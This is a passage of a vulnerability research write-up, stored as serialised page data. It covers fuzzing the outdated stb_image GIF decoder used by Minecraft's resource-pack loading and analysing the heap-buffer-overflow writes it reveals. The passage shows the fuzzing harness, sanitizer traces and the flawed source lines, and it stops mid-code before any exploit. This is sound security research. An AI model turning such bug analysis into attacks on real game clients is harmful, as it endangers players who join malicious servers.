Packs",{"type":25,"tag":38,"props":151162,"children":151163},{},[151164],{"type":31,"value":151165},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":25,"tag":38,"props":151167,"children":151168},{},[151169],{"type":31,"value":151170},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":25,"tag":38,"props":151172,"children":151173},{},[151174],{"type":31,"value":151175},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":25,"tag":26,"props":151177,"children":151179},{"id":151178},"finding-a-memory-corruption-bug",[151180],{"type":31,"value":151181},"Finding a Memory Corruption Bug",{"type":25,"tag":38,"props":151183,"children":151184},{},[151185],{"type":31,"value":151186},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":25,"tag":38,"props":151188,"children":151189},{},[151190],{"type":31,"value":151191},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":25,"tag":607,"props":151193,"children":151195},{"id":151194},"locating-image-parsing-code",[151196],{"type":31,"value":151197},"Locating Image Parsing Code",{"type":25,"tag":38,"props":151199,"children":151200},{},[151201,151203,151209,151210,151216],{"type":31,"value":151202},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":25,"tag":82,"props":151204,"children":151206},{"className":151205},[],[151207],{"type":31,"value":151208},"PNG",{"type":31,"value":17084},{"type":25,"tag":82,"props":151211,"children":151213},{"className":151212},[],[151214],{"type":31,"value":151215},"GIF",{"type":31,"value":151217}," and look for error logging or other messages that use those substrings.",{"type":25,"tag":38,"props":151219,"children":151220},{},[151221,151223,151228],{"type":31,"value":151222},"Searching for the string ",{"type":25,"tag":82,"props":151224,"children":151226},{"className":151225},[],[151227],{"type":31,"value":151215},{"type":31,"value":151229}," returned some interesting results:",{"type":25,"tag":38,"props":151231,"children":151232},{},[151233],{"type":25,"tag":6461,"props":151234,"children":151236},{"alt":54541,"src":151235},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":25,"tag":38,"props":151238,"children":151239},{},[151240,151242,151249,151251,151258],{"type":31,"value":151241},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":25,"tag":162,"props":151243,"children":151246},{"href":151244,"rel":151245},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[166],[151247],{"type":31,"value":151248},"stb_image.h",{"type":31,"value":151250},". For an example: usage of ",{"type":25,"tag":162,"props":151252,"children":151255},{"href":151253,"rel":151254},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[166],[151256],{"type":31,"value":151257},"bad Image Descriptor",{"type":31,"value":179},{"type":25,"tag":38,"props":151260,"children":151261},{},[151262,151264,151271],{"type":31,"value":151263},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":25,"tag":162,"props":151265,"children":151268},{"href":151266,"rel":151267},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[166],[151269],{"type":31,"value":151270},"stbi__gif_load_next",{"type":31,"value":151272},", and loaded the resource pack - this confirmed its usage:",{"type":25,"tag":38,"props":151274,"children":151275},{},[151276],{"type":25,"tag":6461,"props":151277,"children":151279},{"alt":54541,"src":151278},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":25,"tag":607,"props":151281,"children":151283},{"id":151282},"stb-image-library",[151284],{"type":31,"value":151285},"STB Image Library",{"type":25,"tag":38,"props":151287,"children":151288},{},[151289,151294],{"type":25,"tag":82,"props":151290,"children":151292},{"className":151291},[],[151293],{"type":31,"value":151248},{"type":31,"value":151295}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":25,"tag":38,"props":151297,"children":151298},{},[151299,151301,151306,151308,151315],{"type":31,"value":151300},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":25,"tag":82,"props":151302,"children":151304},{"className":151303},[],[151305],{"type":31,"value":151248},{"type":31,"value":151307}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":25,"tag":162,"props":151309,"children":151312},{"href":151310,"rel":151311},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[166],[151313],{"type":31,"value":151314},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":31,"value":179},{"type":25,"tag":38,"props":151317,"children":151318},{},[151319],{"type":31,"value":151320},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":25,"tag":631,"props":151322,"children":151324},{"id":151323},"fuzzing",[151325],{"type":31,"value":151326},"Fuzzing",{"type":25,"tag":38,"props":151328,"children":151329},{},[151330,151332,151339],{"type":31,"value":151331},"The fuzzer consisted of a very simple ",{"type":25,"tag":162,"props":151333,"children":151336},{"href":151334,"rel":151335},"https://github.com/AFLplusplus/AFLplusplus",[166],[151337],{"type":31,"value":151338},"AFL++",{"type":31,"value":30693},{"type":25,"tag":206,"props":151341,"children":151343},{"code":151342,"language":2248,"meta":7,"className":20467,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n    int x, y, comp;\n    unsigned char *ret;\n\n    if (argc != 2) {\n        return 1;\n    }\n\n    ret = stbi_load(argv[1], &x, &y, &comp, 0);\n    if (ret == NULL) {\n        return 1;\n    }\n    \n    stbi_image_free(ret);\n\n    return 0;\n}\n",[151344],{"type":25,"tag":82,"props":151345,"children":151346},{"__ignoreMap":7},[151347,151360,151372,151379,151425,151437,151458,151465,151489,151504,151511,151518,151590,151614,151629,151636,151643,151656,151663,151678],{"type":25,"tag":216,"props":151348,"children":151349},{"class":6916,"line":6917},[151350,151355],{"type":25,"tag":216,"props":151351,"children":151352},{"style":6967},[151353],{"type":31,"value":151354},"#define",{"type":25,"tag":216,"props":151356,"children":151357},{"style":7041},[151358],{"type":31,"value":151359}," STB_IMAGE_IMPLEMENTATION\n",{"type":25,"tag":216,"props":151361,"children":151362},{"class":6916,"line":6763},[151363,151367],{"type":25,"tag":216,"props":151364,"children":151365},{"style":6967},[151366],{"type":31,"value":94380},{"type":25,"tag":216,"props":151368,"children":151369},{"style":8199},[151370],{"type":31,"value":151371}," \"./stb/stb_image.h\"\n",{"type":25,"tag":216,"props":151373,"children":151374},{"class":6916,"line":6772},[151375],{"type":25,"tag":216,"props":151376,"children":151377},{"emptyLinePlaceholder":16},[151378],{"type":31,"value":7636},{"type":25,"tag":216,"props":151380,"children":151381},{"class":6916,"line":6999},[151382,151386,151390,151394,151398,151403,151407,151412,151416,151421],{"type":25,"tag":216,"props":151383,"children":151384},{"style":6930},[151385],{"type":31,"value":23001},{"type":25,"tag":216,"props":151387,"children":151388},{"style":7041},[151389],{"type":31,"value":94745},{"type":25,"tag":216,"props":151391,"children":151392},{"style":6958},[151393],{"type":31,"value":1844},{"type":25,"tag":216,"props":151395,"children":151396},{"style":6930},[151397],{"type":31,"value":23001},{"type":25,"tag":216,"props":151399,"children":151400},{"style":6941},[151401],{"type":31,"value":151402}," argc",{"type":25,"tag":216,"props":151404,"children":151405},{"style":6958},[151406],{"type":31,"value":7020},{"type":25,"tag":216,"props":151408,"children":151409},{"style":6930},[151410],{"type":31,"value":151411},"char",{"type":25,"tag":216,"props":151413,"children":151414},{"style":6947},[151415],{"type":31,"value":93846},{"type":25,"tag":216,"props":151417,"children":151418},{"style":6941},[151419],{"type":31,"value":151420},"argv",{"type":25,"tag":216,"props":151422,"children":151423},{"style":6958},[151424],{"type":31,"value":18755},{"type":25,"tag":216,"props":151426,"children":151427},{"class":6916,"line":7104},[151428,151432],{"type":25,"tag":216,"props":151429,"children":151430},{"style":6930},[151431],{"type":31,"value":23031},{"type":25,"tag":216,"props":151433,"children":151434},{"style":6958},[151435],{"type":31,"value":151436}," x, y, comp;\n",{"type":25,"tag":216,"props":151438,"children":151439},{"class":6916,"line":7210},[151440,151445,151449,151453],{"type":25,"tag":216,"props":151441,"children":151442},{"style":6930},[151443],{"type":31,"value":151444},"    unsigned",{"type":25,"tag":216,"props":151446,"children":151447},{"style":6930},[151448],{"type":31,"value":63010},{"type":25,"tag":216,"props":151450,"children":151451},{"style":6947},[151452],{"type":31,"value":13767},{"type":25,"tag":216,"props":151454,"children":151455},{"style":6958},[151456],{"type":31,"value":151457},"ret;\n",{"type":25,"tag":216,"props":151459,"children":151460},{"class":6916,"line":7238},[151461],{"type":25,"tag":216,"props":151462,"children":151463},{"emptyLinePlaceholder":16},[151464],{"type":31,"value":7636},{"type":25,"tag":216,"props":151466,"children":151467},{"class":6916,"line":7251},[151468,151472,151477,151481,151485],{"type":25,"tag":216,"props":151469,"children":151470},{"style":6967},[151471],{"type":31,"value":16229},{"type":25,"tag":216,"props":151473,"children":151474},{"style":6958},[151475],{"type":31,"value":151476}," (argc ",{"type":25,"tag":216,"props":151478,"children":151479},{"style":6947},[151480],{"type":31,"value":19640},{"type":25,"tag":216,"props":151482,"children":151483},{"style":6983},[151484],{"type":31,"value":11880},{"type":25,"tag":216,"props":151486,"children":151487},{"style":6958},[151488],{"type":31,"value":18755},{"type":25,"tag":216,"props":151490,"children":151491},{"class":6916,"line":7269},[151492,151496,151500],{"type":25,"tag":216,"props":151493,"children":151494},{"style":6967},[151495],{"type":31,"value":19696},{"type":25,"tag":216,"props":151497,"children":151498},{"style":6983},[151499],{"type":31,"value":8465},{"type":25,"tag":216,"props":151501,"children":151502},{"style":6958},[151503],{"type":31,"value":6961},{"type":25,"tag":216,"props":151505,"children":151506},{"class":6916,"line":7290},[151507],{"type":25,"tag":216,"props":151508,"children":151509},{"style":6958},[151510],{"type":31,"value":7305},{"type":25,"tag":216,"props":151512,"children":151513},{"class":6916,"line":7299},[151514],{"type":25,"tag":216,"props":151515,"children":151516},{"emptyLinePlaceholder":16},[151517],{"type":31,"value":7636},{"type":25,"tag":216,"props":151519,"children":151520},{"class":6916,"line":7551},[151521,151526,151530,151535,151539,151543,151547,151551,151555,151559,151564,151568,151573,151577,151582,151586],{"type":25,"tag":216,"props":151522,"children":151523},{"style":6958},[151524],{"type":31,"value":151525},"    ret ",{"type":25,"tag":216,"props":151527,"children":151528},{"style":6947},[151529],{"type":31,"value":266},{"type":25,"tag":216,"props":151531,"children":151532},{"style":7041},[151533],{"type":31,"value":151534}," stbi_load",{"type":25,"tag":216,"props":151536,"children":151537},{"style":6958},[151538],{"type":31,"value":1844},{"type":25,"tag":216,"props":151540,"children":151541},{"style":6941},[151542],{"type":31,"value":151420},{"type":25,"tag":216,"props":151544,"children":151545},{"style":6958},[151546],{"type":31,"value":7695},{"type":25,"tag":216,"props":151548,"children":151549},{"style":6983},[151550],{"type":31,"value":184},{"type":25,"tag":216,"props":151552,"children":151553},{"style":6958},[151554],{"type":31,"value":27000},{"type":25,"tag":216,"props":151556,"children":151557},{"style":6947},[151558],{"type":31,"value":7053},{"type":25,"tag":216,"props":151560,"children":151561},{"style":6958},[151562],{"type":31,"value":151563},"x, ",{"type":25,"tag":216,"props":151565,"children":151566},{"style":6947},[151567],{"type":31,"value":7053},{"type":25,"tag":216,"props":151569,"children":151570},{"style":6958},[151571],{"type":31,"value":151572},"y, ",{"type":25,"tag":216,"props":151574,"children":151575},{"style":6947},[151576],{"type":31,"value":7053},{"type":25,"tag":216,"props":151578,"children":151579},{"style":6958},[151580],{"type":31,"value":151581},"comp, ",{"type":25,"tag":216,"props":151583,"children":151584},{"style":6983},[151585],{"type":31,"value":1876},{"type":25,"tag":216,"props":151587,"children":151588},{"style":6958},[151589],{"type":31,"value":7791},{"type":25,"tag":216,"props":151591,"children":151592},{"class":6916,"line":7568},[151593,151597,151602,151606,151610],{"type":25,"tag":216,"props":151594,"children":151595},{"style":6967},[151596],{"type":31,"value":16229},{"type":25,"tag":216,"props":151598,"children":151599},{"style":6958},[151600],{"type":31,"value":151601}," (ret ",{"type":25,"tag":216,"props":151603,"children":151604},{"style":6947},[151605],{"type":31,"value":12522},{"type":25,"tag":216,"props":151607,"children":151608},{"style":6930},[151609],{"type":31,"value":131696},{"type":25,"tag":216,"props":151611,"children":151612},{"style":6958},[151613],{"type":31,"value":18755},{"type":25,"tag":216,"props":151615,"children":151616},{"class":6916,"line":7585},[151617,151621,151625],{"type":25,"tag":216,"props":151618,"children":151619},{"style":6967},[151620],{"type":31,"value":19696},{"type":25,"tag":216,"props":151622,"children":151623},{"style":6983},[151624],{"type":31,"value":8465},{"type":25,"tag":216,"props":151626,"children":151627},{"style":6958},[151628],{"type":31,"value":6961},{"type":25,"tag":216,"props":151630,"children":151631},{"class":6916,"line":7598},[151632],{"type":25,"tag":216,"props":151633,"children":151634},{"style":6958},[151635],{"type":31,"value":7305},{"type":25,"tag":216,"props":151637,"children":151638},{"class":6916,"line":7607},[151639],{"type":25,"tag":216,"props":151640,"children":151641},{"style":6958},[151642],{"type":31,"value":65748},{"type":25,"tag":216,"props":151644,"children":151645},{"class":6916,"line":7630},[151646,151651],{"type":25,"tag":216,"props":151647,"children":151648},{"style":7041},[151649],{"type":31,"value":151650},"    stbi_image_free",{"type":25,"tag":216,"props":151652,"children":151653},{"style":6958},[151654],{"type":31,"value":151655},"(ret);\n",{"type":25,"tag":216,"props":151657,"children":151658},{"class":6916,"line":7639},[151659],{"type":25,"tag":216,"props":151660,"children":151661},{"emptyLinePlaceholder":16},[151662],{"type":31,"value":7636},{"type":25,"tag":216,"props":151664,"children":151665},{"class":6916,"line":7648},[151666,151670,151674],{"type":25,"tag":216,"props":151667,"children":151668},{"style":6967},[151669],{"type":31,"value":20941},{"type":25,"tag":216,"props":151671,"children":151672},{"style":6983},[151673],{"type":31,"value":6986},{"type":25,"tag":216,"props":151675,"children":151676},{"style":6958},[151677],{"type":31,"value":6961},{"type":25,"tag":216,"props":151679,"children":151680},{"class":6916,"line":7716},[151681],{"type":25,"tag":216,"props":151682,"children":151683},{"style":6958},[151684],{"type":31,"value":7868},{"type":25,"tag":38,"props":151686,"children":151687},{},[151688],{"type":31,"value":151689},"And soon after starting the fuzzer it found an interesting bug:",{"type":25,"tag":206,"props":151691,"children":151693},{"code":151692},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n    #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n    #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    [...]\n    #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n    #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n    #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n    #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n    #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n    #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n    #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n    [...]\n",[151694],{"type":25,"tag":82,"props":151695,"children":151696},{"__ignoreMap":7},[151697],{"type":31,"value":151692},{"type":25,"tag":631,"props":151699,"children":151701},{"id":151700},"investigating-the-finding",[151702],{"type":31,"value":151703},"Investigating the Finding",{"type":25,"tag":38,"props":151705,"children":151706},{},[151707,151709,151715,151716,151721],{"type":31,"value":151708},"The ASAN output shows that at line ",{"type":25,"tag":82,"props":151710,"children":151712},{"className":151711},[],[151713],{"type":31,"value":151714},"6233",{"type":31,"value":147215},{"type":25,"tag":82,"props":151717,"children":151719},{"className":151718},[],[151720],{"type":31,"value":151248},{"type":31,"value":151722}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":25,"tag":206,"props":151724,"children":151726},{"code":151725,"language":2248,"meta":7,"className":20467,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   stbi_uc *p, *c;\n   int idx; \n\n   [...]\n\n   if (g->cur_y >= g->max_y) return;\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;          // OOB write\n",[151727],{"type":25,"tag":82,"props":151728,"children":151729},{"__ignoreMap":7},[151730,151772,151779,151805,151818,151825,151833,151840,151894,151901,151947,151980],{"type":25,"tag":216,"props":151731,"children":151732},{"class":6916,"line":6917},[151733,151737,151741,151746,151751,151755,151759,151764,151768],{"type":25,"tag":216,"props":151734,"children":151735},{"style":6930},[151736],{"type":31,"value":55007},{"type":25,"tag":216,"props":151738,"children":151739},{"style":6930},[151740],{"type":31,"value":55012},{"type":25,"tag":216,"props":151742,"children":151743},{"style":7041},[151744],{"type":31,"value":151745}," stbi__out_gif_code",{"type":25,"tag":216,"props":151747,"children":151748},{"style":6958},[151749],{"type":31,"value":151750},"(stbi__gif ",{"type":25,"tag":216,"props":151752,"children":151753},{"style":6947},[151754],{"type":31,"value":8513},{"type":25,"tag":216,"props":151756,"children":151757},{"style":6941},[151758],{"type":31,"value":113244},{"type":25,"tag":216,"props":151760,"children":151761},{"style":6958},[151762],{"type":31,"value":151763},", stbi__uint16 ",{"type":25,"tag":216,"props":151765,"children":151766},{"style":6941},[151767],{"type":31,"value":82},{"type":25,"tag":216,"props":151769,"children":151770},{"style":6958},[151771],{"type":31,"value":7101},{"type":25,"tag":216,"props":151773,"children":151774},{"class":6916,"line":6763},[151775],{"type":25,"tag":216,"props":151776,"children":151777},{"style":6958},[151778],{"type":31,"value":14830},{"type":25,"tag":216,"props":151780,"children":151781},{"class":6916,"line":6772},[151782,151787,151791,151796,151800],{"type":25,"tag":216,"props":151783,"children":151784},{"style":6958},[151785],{"type":31,"value":151786},"   stbi_uc ",{"type":25,"tag":216,"props":151788,"children":151789},{"style":6947},[151790],{"type":31,"value":8513},{"type":25,"tag":216,"props":151792,"children":151793},{"style":6958},[151794],{"type":31,"value":151795},"p, ",{"type":25,"tag":216,"props":151797,"children":151798},{"style":6947},[151799],{"type":31,"value":8513},{"type":25,"tag":216,"props":151801,"children":151802},{"style":6958},[151803],{"type":31,"value":151804},"c;\n",{"type":25,"tag":216,"props":151806,"children":151807},{"class":6916,"line":6999},[151808,151813],{"type":25,"tag":216,"props":151809,"children":151810},{"style":6930},[151811],{"type":31,"value":151812},"   int",{"type":25,"tag":216,"props":151814,"children":151815},{"style":6958},[151816],{"type":31,"value":151817}," idx; \n",{"type":25,"tag":216,"props":151819,"children":151820},{"class":6916,"line":7104},[151821],{"type":25,"tag":216,"props":151822,"children":151823},{"emptyLinePlaceholder":16},[151824],{"type":31,"value":7636},{"type":25,"tag":216,"props":151826,"children":151827},{"class":6916,"line":7210},[151828],{"type":25,"tag":216,"props":151829,"children":151830},{"style":6958},[151831],{"type":31,"value":151832},"   [...]\n",{"type":25,"tag":216,"props":151834,"children":151835},{"class":6916,"line":7238},[151836],{"type":25,"tag":216,"props":151837,"children":151838},{"emptyLinePlaceholder":16},[151839],{"type":31,"value":7636},{"type":25,"tag":216,"props":151841,"children":151842},{"class":6916,"line":7251},[151843,151847,151851,151855,151859,151864,151868,151873,151877,151882,151886,151890],{"type":25,"tag":216,"props":151844,"children":151845},{"style":6967},[151846],{"type":31,"value":56606},{"type":25,"tag":216,"props":151848,"children":151849},{"style":6958},[151850],{"type":31,"value":7010},{"type":25,"tag":216,"props":151852,"children":151853},{"style":6941},[151854],{"type":31,"value":113244},{"type":25,"tag":216,"props":151856,"children":151857},{"style":6958},[151858],{"type":31,"value":17708},{"type":25,"tag":216,"props":151860,"children":151861},{"style":6941},[151862],{"type":31,"value":151863},"cur_y",{"type":25,"tag":216,"props":151865,"children":151866},{"style":6947},[151867],{"type":31,"value":12248},{"type":25,"tag":216,"props":151869,"children":151870},{"style":6941},[151871],{"type":31,"value":151872}," g",{"type":25,"tag":216,"props":151874,"children":151875},{"style":6958},[151876],{"type":31,"value":17708},{"type":25,"tag":216,"props":151878,"children":151879},{"style":6941},[151880],{"type":31,"value":151881},"max_y",{"type":25,"tag":216,"props":151883,"children":151884},{"style":6958},[151885],{"type":31,"value":7030},{"type":25,"tag":216,"props":151887,"children":151888},{"style":6967},[151889],{"type":31,"value":52420},{"type":25,"tag":216,"props":151891,"children":151892},{"style":6958},[151893],{"type":31,"value":6961},{"type":25,"tag":216,"props":151895,"children":151896},{"class":6916,"line":7269},[151897],{"type":25,"tag":216,"props":151898,"children":151899},{"emptyLinePlaceholder":16},[151900],{"type":31,"value":7636},{"type":25,"tag":216,"props":151902,"children":151903},{"class":6916,"line":7290},[151904,151909,151913,151917,151921,151926,151930,151934,151938,151942],{"type":25,"tag":216,"props":151905,"children":151906},{"style":6958},[151907],{"type":31,"value":151908},"   idx ",{"type":25,"tag":216,"props":151910,"children":151911},{"style":6947},[151912],{"type":31,"value":266},{"type":25,"tag":216,"props":151914,"children":151915},{"style":6941},[151916],{"type":31,"value":151872},{"type":25,"tag":216,"props":151918,"children":151919},{"style":6958},[151920],{"type":31,"value":17708},{"type":25,"tag":216,"props":151922,"children":151923},{"style":6941},[151924],{"type":31,"value":151925},"cur_x",{"type":25,"tag":216,"props":151927,"children":151928},{"style":6947},[151929],{"type":31,"value":12852},{"type":25,"tag":216,"props":151931,"children":151932},{"style":6941},[151933],{"type":31,"value":151872},{"type":25,"tag":216,"props":151935,"children":151936},{"style":6958},[151937],{"type":31,"value":17708},{"type":25,"tag":216,"props":151939,"children":151940},{"style":6941},[151941],{"type":31,"value":151863},{"type":25,"tag":216,"props":151943,"children":151944},{"style":6958},[151945],{"type":31,"value":151946},"; \n",{"type":25,"tag":216,"props":151948,"children":151949},{"class":6916,"line":7299},[151950,151955,151959,151963,151967,151971,151975],{"type":25,"tag":216,"props":151951,"children":151952},{"style":6958},[151953],{"type":31,"value":151954},"   p ",{"type":25,"tag":216,"props":151956,"children":151957},{"style":6947},[151958],{"type":31,"value":266},{"type":25,"tag":216,"props":151960,"children":151961},{"style":6947},[151962],{"type":31,"value":11087},{"type":25,"tag":216,"props":151964,"children":151965},{"style":6941},[151966],{"type":31,"value":113244},{"type":25,"tag":216,"props":151968,"children":151969},{"style":6958},[151970],{"type":31,"value":17708},{"type":25,"tag":216,"props":151972,"children":151973},{"style":6941},[151974],{"type":31,"value":122651},{"type":25,"tag":216,"props":151976,"children":151977},{"style":6958},[151978],{"type":31,"value":151979},"[idx];\n",{"type":25,"tag":216,"props":151981,"children":151982},{"class":6916,"line":7551},[151983,151988,151992,151997,152002,152006,152010,152014,152018,152022,152026],{"type":25,"tag":216,"props":151984,"children":151985},{"style":6941},[151986],{"type":31,"value":151987},"   g",{"type":25,"tag":216,"props":151989,"children":151990},{"style":6958},[151991],{"type":31,"value":17708},{"type":25,"tag":216,"props":151993,"children":151994},{"style":6941},[151995],{"type":31,"value":151996},"history",{"type":25,"tag":216,"props":151998,"children":151999},{"style":6958},[152000],{"type":31,"value":152001},"[idx ",{"type":25,"tag":216,"props":152003,"children":152004},{"style":6947},[152005],{"type":31,"value":5749},{"type":25,"tag":216,"props":152007,"children":152008},{"style":6983},[152009],{"type":31,"value":15695},{"type":25,"tag":216,"props":152011,"children":152012},{"style":6958},[152013],{"type":31,"value":12608},{"type":25,"tag":216,"props":152015,"children":152016},{"style":6947},[152017],{"type":31,"value":266},{"type":25,"tag":216,"props":152019,"children":152020},{"style":6983},[152021],{"type":31,"value":8465},{"type":25,"tag":216,"props":152023,"children":152024},{"style":6958},[152025],{"type":31,"value":53037},{"type":25,"tag":216,"props":152027,"children":152028},{"style":6921},[152029],{"type":31,"value":152030},"          // OOB write\n",{"type":25,"tag":38,"props":152032,"children":152033},{},[152034,152036,152041,152043,152049,152051,152057],{"type":31,"value":152035},"It’s reasonable to assume ",{"type":25,"tag":82,"props":152037,"children":152039},{"className":152038},[],[152040],{"type":31,"value":80483},{"type":31,"value":152042}," is outside the bounds of ",{"type":25,"tag":82,"props":152044,"children":152046},{"className":152045},[],[152047],{"type":31,"value":152048},"g->history",{"type":31,"value":152050},", which leads to a one-byte OOB write (",{"type":25,"tag":82,"props":152052,"children":152054},{"className":152053},[],[152055],{"type":31,"value":152056},"g->history[idx / 4] = 1",{"type":31,"value":152058},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":25,"tag":38,"props":152060,"children":152061},{},[152062,152064,152069,152071,152077,152079,152084,152086,152092,152094,152100],{"type":31,"value":152063},"Because ",{"type":25,"tag":82,"props":152065,"children":152067},{"className":152066},[],[152068],{"type":31,"value":38},{"type":31,"value":152070}," is computed from ",{"type":25,"tag":82,"props":152072,"children":152074},{"className":152073},[],[152075],{"type":31,"value":152076},"g->out[idx]",{"type":31,"value":152078}," immediately before the violation, we considered whether ",{"type":25,"tag":82,"props":152080,"children":152082},{"className":152081},[],[152083],{"type":31,"value":80483},{"type":31,"value":152085}," could also be OOB for ",{"type":25,"tag":82,"props":152087,"children":152089},{"className":152088},[],[152090],{"type":31,"value":152091},"g->out",{"type":31,"value":152093},". Note that computing the address ",{"type":25,"tag":82,"props":152095,"children":152097},{"className":152096},[],[152098],{"type":31,"value":152099},"&g->out[idx]",{"type":31,"value":152101}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":25,"tag":38,"props":152103,"children":152104},{},[152105,152107,152112],{"type":31,"value":152106},"If we comment out ",{"type":25,"tag":82,"props":152108,"children":152110},{"className":152109},[],[152111],{"type":31,"value":152056},{"type":31,"value":152113}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":25,"tag":206,"props":152115,"children":152117},{"code":152116},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n    #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n    [...]\n",[152118],{"type":25,"tag":82,"props":152119,"children":152120},{"__ignoreMap":7},[152121],{"type":31,"value":152116},{"type":25,"tag":38,"props":152123,"children":152124},{},[152125],{"type":31,"value":152126},"This corresponds to:",{"type":25,"tag":206,"props":152128,"children":152130},{"code":152129,"language":2248,"meta":7,"className":20467,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   [...]\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;  \n\n   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];        // OOB write\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[152131],{"type":25,"tag":82,"props":152132,"children":152133},{"__ignoreMap":7},[152134,152173,152180,152187,152194,152237,152268,152312,152319,152387,152427,152472,152511,152550,152589],{"type":25,"tag":216,"props":152135,"children":152136},{"class":6916,"line":6917},[152137,152141,152145,152149,152153,152157,152161,152165,152169],{"type":25,"tag":216,"props":152138,"children":152139},{"style":6930},[152140],{"type":31,"value":55007},{"type":25,"tag":216,"props":152142,"children":152143},{"style":6930},[152144],{"type":31,"value":55012},{"type":25,"tag":216,"props":152146,"children":152147},{"style":7041},[152148],{"type":31,"value":151745},{"type":25,"tag":216,"props":152150,"children":152151},{"style":6958},[152152],{"type":31,"value":151750},{"type":25,"tag":216,"props":152154,"children":152155},{"style":6947},[152156],{"type":31,"value":8513},{"type":25,"tag":216,"props":152158,"children":152159},{"style":6941},[152160],{"type":31,"value":113244},{"type":25,"tag":216,"props":152162,"children":152163},{"style":6958},[152164],{"type":31,"value":151763},{"type":25,"tag":216,"props":152166,"children":152167},{"style":6941},[152168],{"type":31,"value":82},{"type":25,"tag":216,"props":152170,"children":152171},{"style":6958},[152172],{"type":31,"value":7101},{"type":25,"tag":216,"props":152174,"children":152175},{"class":6916,"line":6763},[152176],{"type":25,"tag":216,"props":152177,"children":152178},{"style":6958},[152179],{"type":31,"value":14830},{"type":25,"tag":216,"props":152181,"children":152182},{"class":6916,"line":6772},[152183],{"type":25,"tag":216,"props":152184,"children":152185},{"style":6958},[152186],{"type":31,"value":151832},{"type":25,"tag":216,"props":152188,"children":152189},{"class":6916,"line":6999},[152190],{"type":25,"tag":216,"props":152191,"children":152192},{"emptyLinePlaceholder":16},[152193],{"type":31,"value":7636},{"type":25,"tag":216,"props":152195,"children":152196},{"class":6916,"line":7104},[152197,152201,152205,152209,152213,152217,152221,152225,152229,152233],{"type":25,"tag":216,"props":152198,"children":152199},{"style":6958},[152200],{"type":31,"value":151908},{"type":25,"tag":216,"props":152202,"children":152203},{"style":6947},[152204],{"type":31,"value":266},{"type":25,"tag":216,"props":152206,"children":152207},{"style":6941},[152208],{"type":31,"value":151872},{"type":25,"tag":216,"props":152210,"children":152211},{"style":6958},[152212],{"type":31,"value":17708},{"type":25,"tag":216,"props":152214,"children":152215},{"style":6941},[152216],{"type":31,"value":151925},{"type":25,"tag":216,"props":152218,"children":152219},{"style":6947},[152220],{"type":31,"value":12852},{"type":25,"tag":216,"props":152222,"children":152223},{"style":6941},[152224],{"type":31,"value":151872},{"type":25,"tag":216,"props":152226,"children":152227},{"style":6958},[152228],{"type":31,"value":17708},{"type":25,"tag":216,"props":152230,"children":152231},{"style":6941},[152232],{"type":31,"value":151863},{"type":25,"tag":216,"props":152234,"children":152235},{"style":6958},[152236],{"type":31,"value":151946},{"type":25,